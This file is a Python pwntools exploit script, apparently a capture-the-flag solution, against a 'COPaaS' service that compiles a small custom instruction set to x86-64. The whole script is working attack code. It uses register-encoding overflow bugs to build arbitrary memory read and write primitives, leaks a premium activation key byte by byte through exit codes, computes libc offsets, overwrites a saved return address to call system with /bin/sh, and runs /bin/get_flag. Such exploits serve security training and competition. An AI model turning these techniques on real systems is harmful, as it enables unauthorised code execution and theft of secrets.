#! /usr/bin/env python3
from enum import IntEnum

from pwn import *


class Opcode(IntEnum):
    ADD = 0
    ADDI = 1
    SUB = 2
    COPY = 3
    LOADI = 4


class Register(IntEnum):
    A = 0
    B = 1
    C = 2
    D = 3
    E = 4
    F = 5
    G = 6
    H = 7
    I = 8
    J = 9
    K = 10
    L = 11
    M = 12
    N = 13

    def has_highest_bit_set(self):
        return (self.map_to_reg_id() & 0b1000) > 0

    def map_to_reg_id(self):
        lookup = [
            0b0000,  # A is mapped to rax
            0b0011,  # B to rbx
            0b0001,  # C to rcx
            0b0010,  # D to rdx
            0b0110,  # E to rsi
            0b0111,  # F to rdi
            0b1000,  # G to r8
            0b1001,  # H to r9
            0b1010,  # I to r10
            0b1011,  # J to r11
            0b1100,  # K to r12
            0b1101,  # L to r13
            0b1110,  # M to r14
            0b1111,  # N to r15
        ]
        return lookup[self]


INSTR_LEN = 8
PORT = 1337


def instr_i(opcode, reg1, imm: int):
    assert (opcode == Opcode.ADDI or opcode == Opcode.LOADI)
    return bytes([opcode, reg1, 0, 0]) + imm.to_bytes(4, byteorder='little')


def instr_r(opcode, reg1, reg2):
    assert (opcode == Opcode.ADD or opcode == Opcode.SUB or opcode == Opcode.COPY)
    return bytes([opcode, reg1, 0, 0, reg2, 0, 0, 0])


def load_rsp(dst_reg: Register):
    assert (dst_reg.has_highest_bit_set())
    # use bug to overflow into rbx register encoding
    # register_id[rbx] + 1 = 0b0011 + 1 = register_id[rsp]
    return instr_r(Opcode.COPY, dst_reg, Register.B)


def arbitrary_read(dst: Register, src: Register):
    assert (dst.has_highest_bit_set() and not src.has_highest_bit_set())
    # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
    # 0b11000000 + (register_id[dst] << 3) = 0b00XXX000
    # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits
    return instr_r(Opcode.ADD, dst, src)


def arbitrary_write(dst: Register, src: Register):
    assert (src.has_highest_bit_set() and not dst.has_highest_bit_set())
    # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
    # 0b11000000 + (register_id[src] << 3) = 0b00XXX000
    # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
    return instr_r(Opcode.COPY, dst, src)


def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote:
    p = remote("localhost", port, fam="ipv4")
    p.recvuntil(b"Password: ")
    p.sendline(b"1234")

    log.info(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode())
    log.info(p.recvuntil(b"? (y/N):").decode())
    if key is not None:
        p.sendline(b"y")
        log.info(p.recvuntil(b"Then please enter your activation key:").decode())
        p.sendline(key)
        if is_real_key:
            log.info(p.recvuntil(b"Using premium version! No sandbox for you!\n").decode())
        else:
            log.info(p.recvuntil(b"Using the demo version!").decode())
    else:
        p.sendline(b"N")
        log.info(p.recvuntil(b"Using the demo version!").decode())
    return p


def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
    log.info(p.recvuntil(b"should it bee?").decode())
    len_msg = str(len(program) // INSTR_LEN)
    log.info(f"Sending: {len_msg}")
    p.sendline(len_msg.encode())
    log.info(p.recvuntil(b"Now your program:").decode())
    log.info(f"Sending program: {str(program)}")
    p.send(program)
    log.info(p.recvuntil(b"Your program exited with ").decode())
    exit_code = int(p.recvuntil(b"!", drop=True))
    log.info(f"Retrieved exit code {exit_code}!")
    log.info(f"As char: {bytes([exit_code]).decode()}")
    return exit_code


def extract_premium_key(is_debug: bool = False, port: int = PORT):
    if is_debug:
        offset_saved_rip_to_activation_key = 0x38bc  # debug mode
    else:
        offset_saved_rip_to_activation_key = 0x37a6  # release mode

    premium_key = b""

    p = connect(b"", False, port)
    i = 0
    while i < 0x80:
        # mov r8, rsp
        program = load_rsp(Register.G)
        # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
        program += instr_r(Opcode.ADD, Register.A, Register.G)
        # add r9, [rcx]
        program += arbitrary_read(Register.H, Register.C)
        # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
        program += instr_r(Opcode.ADD, Register.C, Register.H)
        # add rdx, offset_saved_rip_to_activation_key
        program += instr_i(Opcode.ADDI, Register.D, offset_saved_rip_to_activation_key + i)
        # add r10, [rdx]
        program += arbitrary_read(Register.I, Register.D)
        # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
        program += instr_r(Opcode.ADD, Register.D, Register.I)
        # mov rax, rbx
        program += instr_r(Opcode.COPY, Register.A, Register.B)

        exit_code = exec_program(p, program)
        if exit_code == 0:
            break
        as_char = bytes([exit_code])
        premium_key += as_char
        print(as_char.decode(), end="")
        i += 1
    print("")
    p.close()
    return premium_key


def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
    libc_base_offset = 0x23d0a
    libc_system_offset = 0x45e50
    libc_bin_sh_offset = 0x195152
    if is_debug:
        rsp_libc_start_main_offset = 0x80  # debug mode
    else:
        rsp_libc_start_main_offset = 0xa0  # release mode
    # mov r8, rsp
    program = load_rsp(Register.G)
    # mov rcx, r8 (use Register.A in the command because highest bit of register_id[r8] gets overflown)
    program += instr_r(Opcode.ADD, Register.A, Register.G)
    # add rcx, rsp_libc_start_main_offset
    program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset)
    # add r9, [rcx]
    program += arbitrary_read(Register.H, Register.C)
    # mov rbx, libc_base_offset
    program += instr_i(Opcode.LOADI, Register.B, libc_base_offset)
    # add rdx, r9 (use Register.C in the commad because highest bit of register_id[r9] gets overflown) 
    program += instr_r(Opcode.ADD, Register.C, Register.H)
    # sub rdx, rbx
    program += instr_r(Opcode.SUB, Register.D, Register.B)
    # mov rbx, libc_system_offset
    program += instr_i(Opcode.LOADI, Register.B, libc_system_offset)
    # add rbx, rdx
    program += instr_r(Opcode.ADD, Register.B, Register.D)
    # mov rdi, libc_bin_sh_offset
    program += instr_i(Opcode.LOADI, Register.F, libc_bin_sh_offset)
    # add rdi, rdx
    program += instr_r(Opcode.ADD, Register.F, Register.D)
    # mov r10, rbx (use Register.D in the commad because highest bit of register_id[r10] gets overflown)
    program += instr_r(Opcode.COPY, Register.I, Register.D)
    # mov rcx, 0
    program += instr_i(Opcode.LOADI, Register.C, 0)
    # add rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown) 
    program += instr_r(Opcode.ADD, Register.A, Register.G)
    # mov [rcx], r10
    program += arbitrary_write(Register.C, Register.I)

    log.info(p.recvuntil(b"should it bee?").decode())
    len_msg = str(len(program) // INSTR_LEN)
    log.info(f"Sending: {len_msg}")
    p.sendline(len_msg.encode())
    log.info(p.recvuntil(b"Now your program:").decode())
    log.info(f"Sending program: {str(program)}")
    p.send(program)
    p.sendline(b"/bin/get_flag")
    return p.recvregex(b'flag_[0-9a-f]{32}').decode()


if __name__ == "__main__":
    context.log_level = 'warn'
    debug = False

    premium_key = extract_premium_key(is_debug=debug)

    p = connect(premium_key, True)
    print(get_flag(p, is_debug=debug))